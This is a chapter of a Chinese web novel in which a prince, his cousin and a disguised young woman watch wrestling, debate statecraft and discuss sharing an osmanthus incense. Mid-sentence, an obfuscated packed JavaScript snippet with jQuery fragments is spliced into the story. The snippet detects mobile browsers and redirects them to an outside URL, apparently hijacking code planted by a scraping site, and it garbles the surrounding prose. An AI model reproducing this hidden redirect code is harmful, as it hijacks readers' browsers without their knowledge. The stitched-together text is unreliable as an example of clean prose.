6. 分享香方
作品:《殿下以为他弯了》 重重宫墙之上,黄色的琉璃瓦在阳光下泛起金色的光泽。
林翊等三人缓步走在宫道上。
经过一个午间的暴晒,道路两旁的树木仿佛恹了一般,有气无力地垂着,不能给走过的行人带来丁点儿的凉意与遮蔽。
叶青言主动落后了林翊与沈昭半步。
林翊淡淡看了一眼,便明白了叶青言的意思,臣下不能与皇子并排,这是规矩,虽然他并不介意,以往他们也没有注意过这些虚礼,可现下时局紧张,太过特殊,与阿言来说不是福,而是祸。
所以对此,林翊并未阻止,只觉旁边树上不断传来的蝉鸣声音很是聒噪,令他烦闷。
沈昭完全没有注意到身边两人的眉眼官司,一心只想着林翊邀他们来时所说的摔跤好手的事。
庆宁宫位于东华门左近,就建在前朝和后宫的交界线上。
大庆朝的皇子需年满十六才能出宫开府,可开蒙读书后的皇子又不能再住在后妃宫里,所以太祖皇帝便命匠作监专门建了庆宁宫来给这部分年纪的皇子们居住。
林翊是中宫嫡出,占据了庆宁宫的主院。
傍晚的天幕依旧十分耀眼,清风缕缕,带动凉亭之下的水流,水纹一圈一圈漾开。
凉亭之内,林翊等三人分别落坐在摆着瓜果茶水的长几后面,身旁还立着几名随伺的太监和宫女。
凉亭之外,两名光着上身的健壮侍卫正在摔跤搏斗。
他们相互试探,小心翼翼地靠近,最后缠斗到了一起,两人明显都是高手,拉扯的过程十分焦灼。
晚阳湛湛,有汗珠沿着他们俊朗周正的脸庞滚动,滴落在肌肉结实的身躯之上。
宛如野兽般的喘息,不断从两人身上传出,他们互不相让,就在二人僵持之际,其中一人猛地挣出手来,死死扣住另一人窄瘦精壮的腰身,往后一用力,将其狠狠摔倒在地。
“好。”沈昭抚掌大赞,“二表哥你是从哪寻来的这么厉害的侍卫?”
林翊朝身旁的小太监使了个眼色。
那太监意会,当即走出凉亭,给外边的两个侍卫赐了赏,并吩咐他们退下。
“是去岁刚出宫开府那位送来的,不止是我,其他几个兄弟那儿也各送了两人过去。”林翊有些厌恶地皱了皱眉头,道,“说是特意送来保护我们的安全的。”
沈昭完全不信:“他能有这么好心?这你都敢收?”
林翊笑了一声,出口的声音不大,却足够让身侧的两人都能听清他的话。
“他送来之前就已经同父皇通过气了,我如何能不收?”
沈昭闻言,悻悻闭了嘴,忍了忍,还是没能忍住:“你说陛下究竟是怎么想的?明明前脚才训斥了贵妃,她人至今也还被禁足在清凉殿里,怎么后脚就坐视大皇子往你身边安插人了?”
“这大抵就是帝王的制衡之术吧。”林翊淡淡说道,言罢,他喝了口茶,不甚在意再道,“就当是养了两只供消遣的玩意儿,你方才不也说他们斗得精彩?”
沈昭一时语塞,半晌,才实事求是说道:“那他们的手脚功夫也确实不错。”末了,还试图给自己拉个同盟,问叶青言说,“阿言你说呢?”
被点名的叶青言讷讷看了过去,她能说什么?她刚刚根本什么也没看。
“确实不错。”叶青言选择了附和。
“真的吗?”林翊含笑看着叶青言,“我瞧着阿言你刚刚一直都低着头。”
揶揄的笑声入耳,叶青言有一瞬的惊慌,但她并不想让对方看出端倪,强自镇定道:“殿下您看错了。”
林翊确信自己没有看错,他方才瞧得仔细,阿言就没正眼看那两侍卫一眼,即便是抬首前望,她的目光也是涣散的。这让林翊心底那点莫名其妙的烦躁无端就消了下去。
沈昭也说:“就是,刚才那样精彩的比赛你不看,反而去看阿言?你以为我会信?”
林翊被这话噎了一下,颇有些尴尬地咳了一声,笑着将茶杯搁在几上:“好吧,被你看出来了。”
沈昭骄傲地扬起下巴。
叶青言好笑地看他一眼,摇了摇头,端起面前的茶盏小口小口地啜着,茶杯里斟的是冷泡茶,冷茶不能喝得太快,那样不仅不能解渴,反而还会肚子受不了。
沈昭看着叶青言娘们唧唧的喝茶样子,瘪了瘪嘴,却没敢多说什么。
别看阿言生得玉雪可爱,却是一点儿也不好惹。
尤记得小时候有一回宫宴。
那还是他们三人的第一次见面,林翊因嘲笑叶青言长得像姑娘,而被叶青言扑倒在地上狠揍。
当然,林翊也有反抗,两人狠狠打了一架。
也算是不打不相识,若没有那一架,叶青言也做不成林翊的伴读。
一个人一旦做了皇子的伴读,如无意外,那他以及他身后的家族,将会与该皇子的未来紧紧联系在一起,他们是天然的政治盟友。
所以皇子的伴读一般都是从外戚家中选的。
大皇子从前在学宫的伴读就出自外祖高家。
三皇子现今的伴读薛越,也是高贵妃母亲的娘家。
由外戚做伴读是一种俗例,也算是给后妃们的家族一个进身之阶。虽然人们一提起外戚来就总跟奸臣划上等号,但谁家办事不提拔自己的亲人?
只有叶青言是个意外,他是林翊自己亲自挑选的伴读。
也幸而成国公府是皇后一脉的天然盟友,不然这伴读之位还真轮不上叶青言。
沈昭看了看林翊,又看了看叶青言,笑说道:“方才在课堂的辩道会上,你们争论得那么激烈,我还以为过来之后你们还得再辩一辩。”
林翊不知何时变换了坐姿,他偏着头,整个人慵懒地半倚着,听了沈昭的话语,漫不经心地嗤了声:“不过就是一场辩合,哪里值得我同阿言一再提及。”
叶青言也道:“殿下说的不错。”
微顿了顿,叶青言又说:“其实殿下的好些观点,我也并非全然不赞同。”
“巧了不是,我也一样。”林翊看着叶青言就笑。
一个有意放纵,一个真心叹服,倒也相得益彰。
沈昭再次看看这个,又看看那个,突然就觉得自己在这很多余……
“保民而王,莫之能御,此句阿言做何解?”两人的交谈还在继续。
“虽是认同殿下,但我的观点依旧不变。”
“一棵树木,若受到虫害的是树干,修枝剪叶,终是治标不治本。”
“树的生命在于树根,只要有水、有土,便能生机不绝。”
“如此费时费力,不如将其连根拔起,再种上一株新的。”
“谁又能保证新株就不会再受虫害侵蚀?”
“可若不一试,便永远都不会知道,世间之事何来圆满无暇?你顾虑得太多。”
“总要尽己所能,做到最好,才好去做其他。”
“就怕时不我待。”
“那便只有双管齐下了。”
“倒也未尝不可。”
连珠炮一般的对话戛然而止,林翊与叶青言相视一笑,显得十分愉快。
沈昭像看怪物一样地看着他们二人对答,中途几次想开口都插不上话,见二人终于停下,刚想说点什么显示一下存在感,就听林翊又道:“阿言,你身上好香啊,闻着似乎是丹桂的味道,是用的什么法子?”
说着,还伸长脖子往叶青言的方向嗅了嗅。
“……”沈昭:如果不是他们三人从小一起长大,如果不是知晓阿言是个男子,他都要以为自家表兄这是看上阿言了。
叶青言微微有些羞恼,她眉毛耷拉下来,但并不显得颓然,反而给人一种很安顺无害的感觉,温声说道:“衣裳都有熏过,自然是香的,殿下您的衣裳也是香的。”
林翊眨了眨眼:“我的都没你的好闻,你熏的什么香?”
“是我院里的一个婆子调的,具体是何香我也不知。”
“你那还有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922579|192617||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多的吗,给我几盒。”林翊说罢,脸上不自主出现一丝赧色。
叶青言听了微微一怔,还是说道:“应当还有不少,我明日进宫给您带几盒来。”
“好。”林翊道,心头涌起一阵喜意,想了想,又说,“会不会有点太亲密了?”
“什么?”叶青言不解。
暮色渐重,亭下清池如镜,有风穿亭而来,绕梁柱,落鬓间。
林翊定定看着,低声再道:“咱们这样用同一种香,会不会太亲密了?”
叶青言意外地看了林翊一眼:“这并非什么秘传香方,京里应有好些人也在用。”顿了顿,叶青言又说,“若殿下觉得不妥,那便算了。”
“不不不,我不介意的。”林翊连忙否认,模样瞧着很是着急。
叶青言见状纳闷,殿下这是怎么了?
林翊抬眸,便与叶青言的目光撞到了一处,叶青言的眼眸还是那般清澈,无一丝杂质,只是此刻眼中透着一抹淡淡的疑惑。
林翊被她看得有些窘,有心开口缓和一二。
一个相当不识情趣的声音却先响了起来,将林翊想讲的话都给堵了回去。
——沈昭无形之中为自己找回了方才不能开口的场子。
“就是,而且不还有我嘛,再加上我,就不是你们两人用同一种香了。”沈昭说得十分豪气,“阿言,明天记得也给我带一份来。”
“好。”叶青言笑着应下。
林翊狠狠瞪了沈昭一眼。
莫名被瞪,沈昭满脸不解,他没做错什么吧……二表哥怎么这样看他?
沈昭是这么想的,也这么问了出来。
林翊微不可察地抽了抽嘴角,飞快扫了叶青言一眼,见她也正看着自己这边,眼睑微微垂下,睫毛搭在白皙的肌肤上,十分悦目。
林翊被看愣了一瞬,但很快就又恢复了过来,板着脸道:“不是觉得刚刚的搏斗好看吗?起来,我们也来比划比划。”
“我跟你?”沈昭大惊,“不了吧……我又打不过你。”
“切磋罢了,结果不重要。”
“那你跟阿言比去。”沈昭试图甩锅。
林翊根本不接这茬,直接走出凉亭,对着沈昭做了请的姿势。
沈昭骂骂咧咧,可还是起身走了出去。
林翊问叶青言:“阿言压谁胜出?”
叶青言笑说道:“自然是殿下您。”
沈昭听罢,张牙舞爪:“你们两个!不要太过分了!”
话虽这么说,可他的嘴角也微微翘了起来。
从宫里出来,叶青言看了看天色,差不多已是酉时末,便也不同沈昭再多寒暄,匆匆就回了国公府。
当天夜里,叶青言回到穿云院。
望舒惯常备好了热水。
今晚叶青言需要洗头,便使用了浴桶。
她浸泡在温热的水里,暖黄的烛光映着她的面容,薄雾缭绕之下,她的肌肤细腻得彷如明珠一般。
在她的身后,望舒将手指插入她的发中,一下一下,温柔地搓揉着。
“您的头发可真好。”望舒感叹,“乌黑又柔顺。”
这样乌黑的头发,若是梳上发髻带上头面,定然十分好看,当然,这话望舒并没有说出来。
嗅着空气中弥漫起的丹桂清香,叶青言突然想到林翊今日说过的香味。
她用的胰子就是丹桂味道的……
“拿水多冲洗几遍,不要让头发残留下胰子的气味。”叶青言嘱咐,她的声音平缓而轻柔,却带着不容置喙的果断。
“奴婢晓得的。”望舒道。
话音才落,又听叶青言道:“以后也不要再用这胰子了,换些不带花香的来。”
望舒洗发的手一顿,小心翼翼问:“可是出什么事了吗?”
“无事。”叶青言淡声说,过了会儿,又道,“就是想小心些,这事儿你无需知会母亲。”
望舒又是一顿,道:“奴婢明白。”

